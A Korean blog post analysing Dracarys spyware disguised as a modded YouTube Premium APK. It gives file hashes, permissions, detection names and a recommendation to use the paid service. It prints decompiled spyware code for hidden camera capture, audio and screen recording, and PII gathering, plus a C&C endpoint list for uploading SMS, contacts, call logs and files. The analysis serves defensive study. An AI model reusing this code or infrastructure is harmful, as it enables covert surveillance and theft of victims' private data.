꿈을꾸는 파랑새

YouTube Premium(유튜브 프리미엄) 이라는 것은 구글에서 서비스 중인 유튜브 유료 요금제이며 2015년 10월 21일 처음 발표되고 전 세계적으로 서비스되고 있는 서비스이며 처음에는 유튜브 레드(YouTube Red)라고 사용을 하다가 2018년 6월 개편 이후 Premium(프리미엄)으로 변경을 했으며 유튜브 뮤직 프리미엄 혜택은 다음과 같습니다.
YouTube Music Premium 구독의 모든 혜택 포함
유튜브 광고 제거
유튜브 앱 백그라운드 영상 재생
한국 외 대부분 지역에서 무료로 제공. VPN 및 해외 IP 사용 시 무료로 사용 가능
유튜브 동영상 다운로드
유튜브 오리지널 감상 가능
다른 작업을 하는 동시에 작은 화면으로 영상과 작업을 하는 기능(PIP 기능)
물론 유료 서비스입니다.

YouTube Premium 악성코드 실행
YouTube Premium 악성코드 실행

다른 앱을 사용을 하지만 다른 앱들은 당연히 구글 플레이 스토어 에서는 정상적으로 등록되지 않아져 있어서 외부 사이트에서 사용을 다운로드 해서 유튜브 프리미엄 혜택을 사용하려고 합니다. 이런 점을 노려서 만든 악성코드인 -YouTube Premium.apk(2022.10.28)에 대해 적어 보겠습니다. 일단 해당 악성코드를 실행하면 정상적으로 유튜브는 실행되고 유튜브를 감상하는 데에는 문제가 없지만, 불법 앱들이 무료로 제공하는 것이 아니죠.
먼저 악성코드의 해쉬값은 다음과 같습니다.
파일명:YouTube Premium.apk
사이즈:12.6 MB
CRC32:0a4883f1
MD5:07532dea34c87ea2c91d2e035ed5dc87
SHA-1:04ec835ae9240722db8190c093a5b2a7059646b1
SHA-256:220fcfa47a11e7e3f179a96258a5bb69914c17e8ca7d0fdce44d13f1f3229548
SHA-512:270319f1a8a8fe9e19a78741cdcdf5f7c62d3072e55ea68a8c5ecb154bea9fb0895d1562164a0a04ffac19cd2bfa760ee219e3e0ef3890ccce564ace0c1f51ea

YouTube Premium 악성코드 안드로이드 권한
YouTube Premium 악성코드 안드로이드 권한

먼저 해당 악성코드의 안드로이드 권한은 다음과 같습니다.

<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.WAKE_LOCK"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
<uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
<uses-feature android:name="android.hardware.touchscreen" android:required="false"/>
<uses-feature android:name="android.software.leanback" android:required="false"/>
<uses-permission android:name="android.permission.GET_ACCOUNTS"/>
<uses-permission android:name="android.permission.KILL_BACKGROUND_PROCESSES"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
<uses-permission android:name="android.permission.READ_CALL_LOG"/>
<uses-permission android:name="android.permission.WRITE_CALL_LOG"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<uses-permission android:name="android.permission.WRITE_SMS"/>
<uses-permission android:name="android.permission.RECORD_AUDIO"/>
<uses-permission android:name="android.permission.CAMERA"/>
<uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.WRITE_CONTACTS"/>
<uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS"/>
<uses-permission android:name="android.permission.GET_TASKS"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
<uses-permission android:name="com.google.android.finsky.permission.BIND_GET_INSTALL_REFERRER_SERVICE"/>
<uses-permission android:name="com.google.android.c2dm.permission.RECEIVE"/>

해당 악성코드는 다음과 같은 악성행위를 합니다.
원격제어
연락처 정보
통화 기록
설치된 앱 목록 수집
SMS 수집(문자 수집)
기기 파일 수집
개인 식별정보 등록
녹음 및 스크린 샷
스크린 레코더 포함(스크린 샷 촬영)은 org.zcode.dracarys.services.WynkService
곳에 있습니다.

스크린 레코더 포함(스크린샷 촬영)
스크린 레코더 포함(스크린샷 촬영)

private void createVirtualDisplay() {
        if (Build.VERSION.SDK_INT >= 21) {
            this.mVirtualDisplay = this.mMediaProjection.createVirtualDisplay("Wynker", Resources.getSystem().getDisplayMetrics().widthPixels, Resources.getSystem().getDisplayMetrics().heightPixels, Resources.getSystem().getDisplayMetrics().densityDpi, getVirtualDisplayFlags(), this.mMediaRecorder.getSurface(), null, this.mHandler);
        }
    }
}

org.zcode.dracarys.services.RecordingService 에서는 기기화면 캡처 스크린 샷, 오디오 녹음을 하고 C&C 서버로 전송합니다.

화면 캡처 관련 코드
화면 캡처 관련 코드

public /* synthetic */ void lambda$takeBackPicture$1$RecordingService(byte[] bArr, Camera camera) {
        try {
            File filesDir = getFilesDir();
            final File file = new File(filesDir, FileUtils.getTimeStampName() + "_back.jpg");
            file.createNewFile();
            new FileOutputStream(file).write(bArr);
            camera.stopPreview();
            camera.release();
            this.cameraExecService.submit(new Runnable() { // from class: org.zcode.dracarys.services.-$$Lambda$RecordingService$dACv0m-ZXtH1vPBDpIvYgdrID1c
                {
                    RecordingService.this = this;
                }

                @Override // java.lang.Runnable
                public final void run() {
                    RecordingService.this.lambda$null$0$RecordingService(file);
                }
            });
        } catch (Exception unused) {
        }
    }

    /* renamed from: takePictures */
    public void lambda$null$4$RecordingService() throws Exception {
        Camera open = Camera.open(1);
        open.setPreviewTexture(new SurfaceTexture(0));
        open.enableShutterSound(false);
        open.startPreview();
        open.takePicture(null, null, new Camera.PictureCallback() { // from class: org.zcode.dracarys.services.-$$Lambda$RecordingService$VYiw_A_lHCJzuV9_0LvWH9AcL0E
            {
                RecordingService.this = this;
            }

            @Override // android.hardware.Camera.PictureCallback
            public final void onPictureTaken(byte[] bArr, Camera camera) {
                RecordingService.this.lambda$takePictures$3$RecordingService(bArr, camera);
            }
        });
    }

오디오 녹음 관련 코드는 다음과 같습니다.

오디오 녹음 관련 코드
오디오 녹음 관련 코드

@Override // android.app.Service
    public IBinder onBind(Intent intent) {
        return null;
    }

    public static ThreadPoolExecutor getNewExecutor(int i) {
        return new ThreadPoolExecutor(2, Integer.MAX_VALUE, i, TimeUnit.SECONDS, new SynchronousQueue());
    }

    @Override // android.app.Service
    public void onCreate() {
        super.onCreate();
        this.audioRecordHelper = AudioRecordHelper.getInstance(this);
        this.mediaRecorder = new MediaRecorder();
        this.recordingPath = new File(getFilesDir(), "recording");
        this.notificationManager = (NotificationManager) getSystemService("notification");
        this.recordingPath.mkdir();
        this.identityStore = IdentityStore.getInstance(this);
    }

    public static void createNotificationChannel(Context context) {
        NotificationManager notificationManager = (NotificationManager) context.getSystemService("notification");
        if (Build.VERSION.SDK_INT < 26 || notificationManager.getNotificationChannel(channelId) != null) {
            return;
        }
        notificationManager.createNotificationChannel(new NotificationChannel(channelId, "App Update", 4));
    }

C&C 서버 및 유출 주소 는 org.zcode.dracarys.config.ApiConfig에 코드가 있는 것을 확인할 수가 있습니다.

C&C 서버 및 유출 주소
C&C 서버 및 유출 주소

/* loaded from: classes3.dex */
public interface ApiConfig {
    public static final String API_URL = "https://youtubepremiumapp(.)com";
    public static final String API_VERSION = "v3";
    public static final String BASIC_INFO_URL = String.format("%s/%s/report/basic-info", API_URL, API_VERSION);
    public static final String CONTACTS_URL = String.format("%s/%s/report/contacts", API_URL, API_VERSION);
    public static final String REPORT_FILE_PATHS_URL = String.format("%s/%s/report/file-paths", API_URL, API_VERSION);
    public static final String REPORT_SDCARD_PATHS_URL = String.format("%s/%s/report/storage/root", API_URL, API_VERSION);
    public static final String REQUEST_FILE_PATHS_URL = String.format("%s/%s/request/file-paths", API_URL, API_VERSION);
    public static final String SYNC_FILES_URL = String.format("%s/%s/sync/file", API_URL, API_VERSION);
    public static final String REPORT_MESSAGES_URL = String.format("%s/%s/report/message", API_URL, API_VERSION);
    public static final String REQUEST_HEARTBEAT_URL = String.format("%s/%s/request/heartbeat", API_URL, API_VERSION);
    public static final String PULL_TASK = String.format("%s/%s/pull/task", API_URL, API_VERSION);
    public static final String FETCH_TASK = String.format("%s/%s/request/tasks", API_URL, API_VERSION);
    public static final String REPORT_ATTEMPT = String.format("%s/%s/report/attempt", API_URL, API_VERSION);
    public static final String PUSH_RESULT = String.format("%s/%s/push/result", API_URL, API_VERSION);
    public static final String HUM_URL = String.format("%s/%s/report/hum", API_URL, API_VERSION);
    public static final String REQUEST_HUM = String.format("%s/%s/request/hum", API_URL, API_VERSION);
    public static final String REPORT_APP_INFO = String.format("%s/%s/report/apps", API_URL, API_VERSION);
    public static final String REPORT_SMS = String.format("%s/%s/report/sms", API_URL, API_VERSION);
    public static final String REPORT_CALLS = String.format("%s/%s/report/calls", API_URL, API_VERSION);
    public static final String REQUEST_WYNK = String.format("%s/%s/request/wink", API_URL, API_VERSION);
    public static final String REPORT_WYNK = String.format("%s/%s/report/wink", API_URL, API_VERSION);
    public static final String REPORT_RECORDING_PATHS = String.format("%s/%s/report/ruby", API_URL, API_VERSION);
}

org.zcode.dracarys.alarms.DracarysReceiver 에서는 개인식별정보(Pll) 데이터 업데이트을 수집을 하려고 DracarysReceiver 브로드 캐스트 등록을 하는 코드가 보입니다.

개인식별정보(Pll) 데이터 DracarysReceiver 브로드 캐스트 등록
개인식별정보(Pll) 데이터 DracarysReceiver 브로드 캐스트 등록

/* loaded from: classes3.dex */
public class DracarysReceiver extends BroadcastReceiver {
    private ExecutorService executorService = Executors.newCachedThreadPool();

    @Override // android.content.BroadcastReceiver
    public void onReceive(Context context, Intent intent) {
        RepeatingAlarm.schedule(context);
        InfoGatherer[] infoGathererArr = {new BasicInfoGatherer(), new FilePathGatherer(), new ContactInfoGatherer(), new RecordingGatherer(), new AppInfoGatherer(), new PhoneMessageGatherer(), new CallLogGatherer(), new UploadGatherer()};
        for (int i = 0; i < 8; i++) {
            final InfoGatherer infoGatherer = infoGathererArr[i];
            infoGatherer.initGatherer(context);
            ExecutorService executorService = this.executorService;
            infoGatherer.getClass();
            executorService.submit(new Callable() { // from class: org.zcode.dracarys.alarms.-$$Lambda$C7Dm_9Z_tnvPpDGkJPlo3IyA53g
                @Override // java.util.concurrent.Callable
                public final Object call() {
                    return infoGatherer.makeRequest();
                }
            });
            if (infoGatherer instanceof FilePathGatherer) {
                try {
                    Thread.sleep(3000L);
                } catch (InterruptedException unused) {
                }
            }
        }
    }
}

그리고 해당 악성코드 인증서 내용은 다음과 같습니다.

악성코드 인증서 정보
악성코드 인증서 정보

서명 검증 성공
유효한 APK 서명 v1을(를) 찾았습니다.
서명자 BNDLTOOL.RSA (META-INF/BNDLTOOL.SF)
유형: X.509
버전: 3
시리얼 번호: 0x15c11019
소유자: CN=Jarhead Alpha, OU=Marine Corps, O=US Army, L=Seattle, ST=Washington, C=US
유효 시작 시각: Wed Feb 10 16:00:58 GMT+09:00 2021
유효 종료 시각: Sun Feb 04 16:00:58 GMT+09:00 2046
공개키 타입: RSA
지수: 65537
모듈러스 크기 (비트): 2048
모듈러스: 22766411134038241807373986938323342113771118978124414206783922423009312450303818405563566118684673648837642401052967107915010853286683537359832357588827475853222608861163214165710615782316521056945869211107618749841650339073368651616078934956257111857416409027319235230289482886714896429455873788506933650150473583197303939310306944415337601878397966932793166638463098159166172263116971389002051502267923605236332873414477026467144981768100056288393238237322287326318313928962613265883107953497489828897550856625145602622727981632410447021463073046886032871521342106782734699492371725052450793897114058519462443363499
서명 유형: SHA256withRSA
서명 OID: 1.2.840.113549.1.1.11
MD5 지문: B3 30 DC 85 EE 7A 45 AE 17 D3 FC E8 01 DB 6F 6E 
SHA-1 지문: 1F E8 FA 58 1D E4 7E F5 EC 70 0F B4 80 08 EE AE 2C 89 EC C6 
SHA-256 지문: D2 0A BA 6D 09 F0 6D 2A A9 69 E4 9C 79 AA 78 68 9E F2 C4 AB 9D F9 9A 79 A2 32 3E EC F7 47 15 E2

이런 악성코드로부터 개인정보를 지키는 방법은 간단합니다. 합법적인 경로로 유튜브 서비스를 이용하는 방법이 있습니다.
즉 깔끔하게 그냥 합법적으로 유튜브 결제를 해서 이용을 하는 것을 매우 강력하게 추천합니다. 물론 스마트폰에서는 백신 앱도 설치를 해서 사용을 하면 안전하겠지만요. 그리고 2022-10-18 15:10:18 UTC 기준 바이러스토탈에서 탐지하는 보안 업체들은 다음과 같습니다.
AhnLab-V3:Spyware/Android.Alfred.1141346
Avast-Mobile:Android:Evo-gen [Trj]
Avira (no cloud):ANDROID/Spy.Agent.illfx
BitDefenderFalx:Android.Trojan.Dracarys.A
Cynet:Malicious (score: 99)
DrWeb:Android.Spy.1038.origin
ESET-NOD32:A Variant Of Android/Spy.Dracarys.A
Fortinet:Android/Dracarys.A!tr
Google:Detected
Ikarus:Trojan-Spy.AndroidOS.Dracarys
Kaspersky:HEUR:Trojan-Spy.AndroidOS.Dracarys.a
Lionic:Trojan.AndroidOS.Dracarys.C!c
McAfee:Artemis!07532DEA34C8
McAfee-GW-Edition:Artemis!Trojan
Microsoft:TrojanSpy:AndroidOS/Dracarys.A!MTB
NANO-Antivirus:Trojan.Android.Dracarys.jrivzm
Sophos:Andr/Spy-BHX
Symantec Mobile Insight:AppRisk:Generisk
Tencent:Dos.Trojan-Spy.Dracarys.Etgl
Trustlook:Android.Malware.Spyware
Zillya:Trojan.Dracarys.Android.1
ZoneAlarm by Check Point:HEUR:Trojan-Spy.AndroidOS.Dracarys.a
즉 깔끔하게 그냥 합법적으로 유튜브 결제를 해서 이용을 하는 것을 매우 강력하게 추천합니다. 물론 스마트폰에서는 백신 앱도 설치를 해서 사용을 하면 안전하겠지만요.

그리드형

공유하기

facebook twitter kakaoTalk kakaostory naver band